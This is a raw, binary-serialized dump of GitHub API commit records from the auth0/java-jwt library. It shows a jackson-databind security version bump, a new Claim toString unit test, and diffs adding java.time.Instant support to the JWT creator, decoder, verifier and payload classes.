r/Xppke4zRTDGMdKNTVCtYnLW9RilAHcXUDMSS4b2ZTgaDniZkmwulbslCbq1SE=
=SgJk
-----END PGP SIGNATURE-----
payloadX  tree 8fd5d1496351a15f3fc28fd73277a574c4c4bfb4
parent e62dd3a30480d401ab35c176ee99cd59f5023909
author Evan Sims <evan.sims@auth0.com> 1648318855 -0400
committer GitHub <noreply@github.com> 1648318855 -0400

Security: Bump `jackson-databind` to 2.13.2.1

This PR bumps the `jackson-databind` dependency to 2.13.2.1 to address [CVE-2020-36518](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36518) in that libraryuuj4  \https://api.github.com/repos/auth0/java-jwt/commits/3b153a0ded5053efc2e2841284e90e4793c865c4html_urlQhttps://github.com/auth0/java-jwt/commit/3b153a0ded5053efc2e2841284e90e4793c865c4comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3b153a0ded5053efc2e2841284e90e4793c865c4/commentsj4  }(loginevansimsidMj4  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j4  %https://api.github.com/users/evansimsj4  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj4  }(j4  web-flowj4  J/j4  MDQ6VXNlcjE5ODY0NDQ3j4  4https://avatars.githubusercontent.com/u/19864447?v=4j4  h3j4  %https://api.github.com/users/web-flowj4  https://github.com/web-flowj4  /https://api.github.com/users/web-flow/followersj4  <https://api.github.com/users/web-flow/following{/other_user}j4  5https://api.github.com/users/web-flow/gists{/gist_id}j4  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j4  3https://api.github.com/users/web-flow/subscriptionsj4  *https://api.github.com/users/web-flow/orgsj4  +https://api.github.com/users/web-flow/reposj4  6https://api.github.com/users/web-flow/events{/privacy}j4  5https://api.github.com/users/web-flow/received_eventsj4  Userj4  uparents]}(j4  (e62dd3a30480d401ab35c176ee99cd59f5023909j4  \https://api.github.com/repos/auth0/java-jwt/commits/e62dd3a30480d401ab35c176ee99cd59f5023909j4  Qhttps://github.com/auth0/java-jwt/commit/e62dd3a30480d401ab35c176ee99cd59f5023909uastats}(totalK	additionsK	deletionsKufiles]}(j4  (3b016b196d32212a1502bac5b44b6688bbe38d83filenamelib/build.gradlestatusmodifiedj5  Kj5  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/3b153a0ded5053efc2e2841284e90e4793c865c4/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/3b153a0ded5053efc2e2841284e90e4793c865c4/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=3b153a0ded5053efc2e2841284e90e4793c865c4patchXg  @@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.1'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(52821a15c997d821fe33e752ac45f6779ccb007d}(sha(52821a15c997d821fe33e752ac45f6779ccb007dnode_idEC_kwDOAQtL0doAKDUyODIxYTE1Yzk5N2Q4MjFmZTMzZTc1MmFjNDVmNjc3OWNjYjAwN2Qcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T09:24:01Zu	committer}(j!5  
Poovamraj T Tj#5  poovamraj@gmail.comj%5  2022-03-25T09:24:01Zumessage0Add test case to check Claim toString conversiontree}(j5  (73363648c3086a9fb7b355db9f0eb9ae4ec6a9b9url^https://api.github.com/repos/auth0/java-jwt/git/trees/73363648c3086a9fb7b355db9f0eb9ae4ec6a9b9uj15  `https://api.github.com/repos/auth0/java-jwt/git/commits/52821a15c997d821fe33e752ac45f6779ccb007d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj15  \https://api.github.com/repos/auth0/java-jwt/commits/52821a15c997d821fe33e752ac45f6779ccb007dhtml_urlQhttps://github.com/auth0/java-jwt/commit/52821a15c997d821fe33e752ac45f6779ccb007dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/52821a15c997d821fe33e752ac45f6779ccb007d/commentsj5  }(login	poovamrajidJ j5  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j15  &https://api.github.com/users/poovamrajj=5  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj'5  }(jB5  	poovamrajjD5  J j5  MDQ6VXNlcjE1OTEwNDI1jF5  4https://avatars.githubusercontent.com/u/15910425?v=4jH5  h3j15  &https://api.github.com/users/poovamrajj=5  https://github.com/poovamrajjK5  0https://api.github.com/users/poovamraj/followersjM5  =https://api.github.com/users/poovamraj/following{/other_user}jO5  6https://api.github.com/users/poovamraj/gists{/gist_id}jQ5  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jS5  4https://api.github.com/users/poovamraj/subscriptionsjU5  +https://api.github.com/users/poovamraj/orgsjW5  ,https://api.github.com/users/poovamraj/reposjY5  7https://api.github.com/users/poovamraj/events{/privacy}j[5  6https://api.github.com/users/poovamraj/received_eventsj]5  Userj_5  uparents]}(j5  (2f1c5df7c13f571d624acd3c1b6dae9d6336ea11j15  \https://api.github.com/repos/auth0/java-jwt/commits/2f1c5df7c13f571d624acd3c1b6dae9d6336ea11j=5  Qhttps://github.com/auth0/java-jwt/commit/2f1c5df7c13f571d624acd3c1b6dae9d6336ea11uastats}(totalK	additionsK	deletionsK ufiles]}(j5  (44ef2b9fe77ad9e37bb3cb5a992d08c357d9b050filename;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javastatusmodifiedjy5  Kjz5  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/52821a15c997d821fe33e752ac45f6779ccb007d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/52821a15c997d821fe33e752ac45f6779ccb007d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=52821a15c997d821fe33e752ac45f6779ccb007dpatchX  @@ -460,4 +460,22 @@ public void shouldDelegateToJsonNodeToString() {
         Claim claim = claimFromNode(value);
         assertThat(claim.toString(), is(value.toString()));
     }
+
+    @Test
+    public void shouldConvertToString() {
+        JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
+        JsonNode nullValue = mapper.valueToTree(null);
+        JsonNode missingValue = MissingNode.getInstance();
+
+        Claim claim = claimFromNode(value);
+        Claim nullClaim = claimFromNode(nullValue);
+        Claim missingClaim = claimFromNode(missingValue);
+
+        assertThat(claim.toString(), is("{\"name\":\"john\",\"id\":123}"));
+        assertThat(nullClaim.isNull(), is(true));
+        assertThat(nullClaim.toString(), is("Null claim"));
+        assertThat(missingClaim.isMissing(), is(true));
+        assertThat(missingClaim.toString(), is("Missing claim"));
+
+    }
 }
\ No newline at end of fileuau(90cea2d99680b985130f702ccb830bb322458171}(sha(90cea2d99680b985130f702ccb830bb322458171node_idEC_kwDOAQtL0doAKDkwY2VhMmQ5OTY4MGI5ODUxMzBmNzAyY2NiODMwYmIzMjI0NTgxNzEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-09T20:27:38Zu	committer}(j5  GitHubj5  noreply@github.comj5  2022-03-09T20:27:38ZumessageX  [SDK-3149] Add Instant support (#537)

* [SDK-3149] Add support for java.time.Instant

* formatting fixes

* add javadocs

* remove custom Instant claim verification check (not yet supported)

* add tests for default method implementations

* fix NullClaimTest for asInstanttree}(j5  (219b7858159764dea396c116e18eade55a2c10faurl^https://api.github.com/repos/auth0/java-jwt/git/trees/219b7858159764dea396c116e18eade55a2c10fauj5  `https://api.github.com/repos/auth0/java-jwt/git/commits/90cea2d99680b985130f702ccb830bb322458171
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiKQ26CRBK7hj4Ov3rIwAAV+AIABPjUdkcZEYIYJpnmLxTCWnE
SG+Vjo3tnhXHtJV7FjcuIYkVBV39aZ7qAm+ES+hSEw8hiVyEIch9A0gUZUvPvGh3
1pTzu1Idbeydg1RxQNHadXz3LJbkpVToBUrUKWWw0etL+/N9BJbSPHu7aiWvXe8u
pLA5h7iAlCSWcknXDcbH8+vGJNMQoF2eohbI4ykN2x+98F0I5nddSgLL80fRXhav
OGab6jXvi0Kg8KyLgrLLna66IGtGqR/myoe8uaDDBQlbUA8TcWvAHARXybtsqndU
3G1HdViuOpbx+jDSbY5LphJ0fEJsjrE3/z/HeDQP9FmdIzS0iAOHN5EjtHM6P3k=
=z2WO
-----END PGP SIGNATURE-----
payloadX  tree 219b7858159764dea396c116e18eade55a2c10fa
parent ed91dc6db9fd4b31b14ff8c5299b68acad560789
author Jim Anderson <jim.anderson@auth0.com> 1646857658 -0600
committer GitHub <noreply@github.com> 1646857658 -0600

[SDK-3149] Add Instant support (#537)

* [SDK-3149] Add support for java.time.Instant

* formatting fixes

* add javadocs

* remove custom Instant claim verification check (not yet supported)

* add tests for default method implementations

* fix NullClaimTest for asInstantuuj5  \https://api.github.com/repos/auth0/java-jwt/commits/90cea2d99680b985130f702ccb830bb322458171html_urlQhttps://github.com/auth0/java-jwt/commit/90cea2d99680b985130f702ccb830bb322458171comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/90cea2d99680b985130f702ccb830bb322458171/commentsj5  }(login
jimmyjamesidJ7 j5  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j5  'https://api.github.com/users/jimmyjamesj5  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj5  }(j5  web-flowj5  J/j5  MDQ6VXNlcjE5ODY0NDQ3j5  4https://avatars.githubusercontent.com/u/19864447?v=4j5  h3j5  %https://api.github.com/users/web-flowj5  https://github.com/web-flowj5  /https://api.github.com/users/web-flow/followersj5  <https://api.github.com/users/web-flow/following{/other_user}j5  5https://api.github.com/users/web-flow/gists{/gist_id}j5  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j5  3https://api.github.com/users/web-flow/subscriptionsj5  *https://api.github.com/users/web-flow/orgsj5  +https://api.github.com/users/web-flow/reposj5  6https://api.github.com/users/web-flow/events{/privacy}j5  5https://api.github.com/users/web-flow/received_eventsj5  Userj5  uparents]}(j5  (ed91dc6db9fd4b31b14ff8c5299b68acad560789j5  \https://api.github.com/repos/auth0/java-jwt/commits/ed91dc6db9fd4b31b14ff8c5299b68acad560789j5  Qhttps://github.com/auth0/java-jwt/commit/ed91dc6db9fd4b31b14ff8c5299b68acad560789uastats}(totalMs	additionsM	deletionsK{ufiles](}(j5  (7d58fe2fdc9e3ea164b6eccdc40565f6b764effbfilename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj5  K7j5  KchangesK:blob_urlhttps://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=90cea2d99680b985130f702ccb830bb322458171patchX  @@ -12,6 +12,7 @@
 import com.fasterxml.jackson.databind.module.SimpleModule;
 
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.*;
 import java.util.Map.Entry;
 
@@ -152,7 +153,19 @@ public Builder withExpiresAt(Date expiresAt) {
         }
 
         /**
-         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param expiresAt the Expires At value.
+         * @return this same Builder instance.
+         */
+        public Builder withExpiresAt(Instant expiresAt) {
+            addClaim(PublicClaims.EXPIRES_AT, expiresAt);
+            return this;
+        }
+
+        /**
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
          * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param notBefore the Not Before value.
@@ -164,7 +177,19 @@ public Builder withNotBefore(Date notBefore) {
         }
 
         /**
-         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param notBefore the Not Before value.
+         * @return this same Builder instance.
+         */
+        public Builder withNotBefore(Instant notBefore) {
+            addClaim(PublicClaims.NOT_BEFORE, notBefore);
+            return this;
+        }
+
+        /**
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
          * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param issuedAt the Issued At value.
@@ -175,6 +200,18 @@ public Builder withIssuedAt(Date issuedAt) {
             return this;
         }
 
+        /**
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param issuedAt the Issued At value.
+         * @return this same Builder instance.
+         */
+        public Builder withIssuedAt(Instant issuedAt) {
+            addClaim(PublicClaims.ISSUED_AT, issuedAt);
+            return this;
+        }
+
         /**
          * Add a specific JWT Id ("jti") claim to the Payload.
          *
@@ -271,6 +308,21 @@ public Builder withClaim(String name, Date value) throws IllegalArgumentExceptio
             return this;
         }
 
+        /**
+         * Add a custom Claim value. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withClaim(String name, Instant value) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, value);
+            return this;
+        }
+
         /**
          * Add a custom Array Claim with the given items.
          *
@@ -453,7 +505,7 @@ private static boolean isBasicType(Object value) {
             if (c.isArray()) {
                 return c == Integer[].class || c == Long[].class || c == String[].class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Boolean.class;
+            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Instant.class || c == Boolean.class;
         }
 
         /**u}(j5  (558552419ee8f50aa274e994bb42d292347cd07dj5  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj5  modifiedj5  Kj5  K j5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -9,6 +9,7 @@
 
 import java.io.Serializable;
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
 import java.util.List;
@@ -93,16 +94,31 @@ public Date getExpiresAt() {
         return payload.getExpiresAt();
     }
 
+    @Override
+    public Instant getExpiresAtAsInstant() {
+        return payload.getExpiresAtAsInstant();
+    }
+
     @Override
     public Date getNotBefore() {
         return payload.getNotBefore();
     }
 
+    @Override
+    public Instant getNotBeforeAsInstant() {
+        return  payload.getNotBeforeAsInstant();
+    }
+
     @Override
     public Date getIssuedAt() {
         return payload.getIssuedAt();
     }
 
+    @Override
+    public Instant getIssuedAtAsInstant() {
+        return payload.getIssuedAtAsInstant();
+    }
+
     @Override
     public String getId() {
         return payload.getId();u}(j5  (8dfb6dbf7f4da4863a0d1f2c0a7264a666ebd517j5  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj5  modifiedj5  Kj5  Kj5  K"j5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X	  @@ -9,8 +9,11 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
-import java.util.*;
 import java.time.Clock;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
+import java.util.*;
 
 /**
  * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
@@ -327,13 +330,13 @@ private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expecte
                 assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.EXPIRES_AT:
-                assertValidDateClaim(jwt.getExpiresAt(), (Long) expectedClaim.getValue(), true);
+                assertValidInstantClaim(jwt.getExpiresAtAsInstant(), (Long) expectedClaim.getValue(), true);
                 break;
             case PublicClaims.ISSUED_AT:
-                assertValidDateClaim(jwt.getIssuedAt(), (Long) expectedClaim.getValue(), false);
+                assertValidInstantClaim(jwt.getIssuedAtAsInstant(), (Long) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.NOT_BEFORE:
-                assertValidDateClaim(jwt.getNotBefore(), (Long) expectedClaim.getValue(), false);
+                assertValidInstantClaim(jwt.getNotBeforeAsInstant(), (Long) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.ISSUER:
                 assertValidIssuerClaim(jwt.getIssuer(), (List<String>) expectedClaim.getValue());
@@ -403,27 +406,24 @@ private void assertValidStringClaim(String claimName, String value, String expec
         }
     }
 
-    private void assertValidDateClaim(Date date, long leeway, boolean shouldBeFuture) {
-        Date today = new Date(clock.millis());
-        today.setTime(today.getTime() / 1000 * 1000); // truncate millis
+    private void assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+        Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
         if (shouldBeFuture) {
-            assertDateIsFuture(date, leeway, today);
+            assertInstantIsFuture(claimVal, leeway, now);
         } else {
-            assertDateIsPast(date, leeway, today);
+            assertInstantIsPast(claimVal, leeway, now);
         }
     }
 
-    private void assertDateIsFuture(Date date, long leeway, Date today) {
-        today.setTime(today.getTime() - leeway * 1000);
-        if (date != null && today.after(date)) {
-            throw new TokenExpiredException(String.format("The Token has expired on %s.", date));
+    private void assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
+        if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
+            throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
         }
     }
 
-    private void assertDateIsPast(Date date, long leeway, Date today) {
-        today.setTime(today.getTime() + leeway * 1000);
-        if (date != null && today.before(date)) {
-            throw new InvalidClaimException(String.format("The Token can't be used before %s.", date));
+    private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+        if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
+            throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
         }
     }
 u}(j5  (0d8161283f4d6b422e2d0baf948dcde0c1a6c944j5  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj5  modifiedj5  K
j5  Kj5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -6,11 +6,11 @@
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.core.type.TypeReference;
 import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.IOException;
 import java.lang.reflect.Array;
+import java.time.Instant;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.List;
@@ -63,6 +63,15 @@ public Date asDate() {
         return new Date(seconds * 1000);
     }
 
+    @Override
+    public Instant asInstant() {
+        if (!data.canConvertToLong()) {
+            return null;
+        }
+        long seconds = data.asLong();
+        return Instant.ofEpochSecond(seconds);
+    }
+
     @Override
     @SuppressWarnings("unchecked")
     public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {u}(j5  (664328de3e3a4642a7a7da5b6c96bd5269e5b6a3j5  3lib/src/main/java/com/auth0/jwt/impl/NullClaim.javaj5  modifiedj5  Kj5  K j5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -3,6 +3,7 @@
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.auth0.jwt.interfaces.Claim;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -46,6 +47,11 @@ public Date asDate() {
         return null;
     }
 
+    @Override
+    public Instant asInstant() {
+        return null;
+    }
+
     @Override
     public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
         return null;u}(j5  (46bd7ebef70175ff483311de5c64ccc752efba37j5  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj5  modifiedj5  Kj5  Kj5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -11,6 +11,7 @@
 import com.fasterxml.jackson.databind.deser.std.StdDeserializer;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 /**
@@ -45,9 +46,9 @@ public Payload deserialize(JsonParser p, DeserializationContext ctxt) throws IOE
         String issuer = getString(tree, PublicClaims.ISSUER);
         String subject = getString(tree, PublicClaims.SUBJECT);
         List<String> audience = getStringOrArray(tree, PublicClaims.AUDIENCE);
-        Date expiresAt = getDateFromSeconds(tree, PublicClaims.EXPIRES_AT);
-        Date notBefore = getDateFromSeconds(tree, PublicClaims.NOT_BEFORE);
-        Date issuedAt = getDateFromSeconds(tree, PublicClaims.ISSUED_AT);
+        Instant expiresAt = getInstantFromSeconds(tree, PublicClaims.EXPIRES_AT);
+        Instant notBefore = getInstantFromSeconds(tree, PublicClaims.NOT_BEFORE);
+        Instant issuedAt = getInstantFromSeconds(tree, PublicClaims.ISSUED_AT);
         String jwtId = getString(tree, PublicClaims.JWT_ID);
 
         return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, objectReader);
@@ -73,16 +74,15 @@ List<String> getStringOrArray(Map<String, JsonNode> tree, String claimName) thro
         return list;
     }
 
-    Date getDateFromSeconds(Map<String, JsonNode> tree, String claimName) {
+    Instant getInstantFromSeconds(Map<String, JsonNode> tree, String claimName) {
         JsonNode node = tree.get(claimName);
         if (node == null || node.isNull()) {
             return null;
         }
         if (!node.canConvertToLong()) {
             throw new JWTDecodeException(String.format("The claim '%s' contained a non-numeric date value.", claimName));
         }
-        final long ms = node.asLong() * 1000;
-        return new Date(ms);
+        return Instant.ofEpochSecond(node.asLong());
     }
 
     String getString(Map<String, JsonNode> tree, String claimName) {u}(j5  (a446741cb1b143347b4727be7b5518365d89cc56j5  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javaj5  modifiedj5  Kj5  Kj5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  Xo  @@ -6,6 +6,7 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.Serializable;
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JsonNodeClaim.extractClaim;
@@ -24,14 +25,14 @@ class PayloadImpl implements Payload, Serializable {
     private final String issuer;
     private final String subject;
     private final List<String> audience;
-    private final Date expiresAt;
-    private final Date notBefore;
-    private final Date issuedAt;
+    private final Instant expiresAt;
+    private final Instant notBefore;
+    private final Instant issuedAt;
     private final String jwtId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
 
-    PayloadImpl(String issuer, String subject, List<String> audience, Date expiresAt, Date notBefore, Date issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    PayloadImpl(String issuer, String subject, List<String> audience, Instant expiresAt, Instant notBefore, Instant issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
         this.issuer = issuer;
         this.subject = subject;
         this.audience = audience != null ? Collections.unmodifiableList(audience) : null;
@@ -64,19 +65,35 @@ public List<String> getAudience() {
 
     @Override
     public Date getExpiresAt() {
-        return expiresAt;
+        return (expiresAt != null) ? Date.from(expiresAt) : null;
     }
 
+
     @Override
-    public Date getNotBefore() {
-        return notBefore;
+    public Instant getExpiresAtAsInstant() {
+        return expiresAt;
     }
 
     @Override
     public Date getIssuedAt() {
+        return (issuedAt != null) ? Date.from(issuedAt) : null;
+    }
+
+    @Override
+    public Instant getIssuedAtAsInstant() {
         return issuedAt;
     }
 
+    @Override
+    public Date getNotBefore() {
+        return (notBefore != null) ? Date.from(notBefore) : null;
+    }
+
+    @Override
+    public Instant getNotBeforeAsInstant() {
+        return notBefore;
+    }
+
     @Override
     public String getId() {
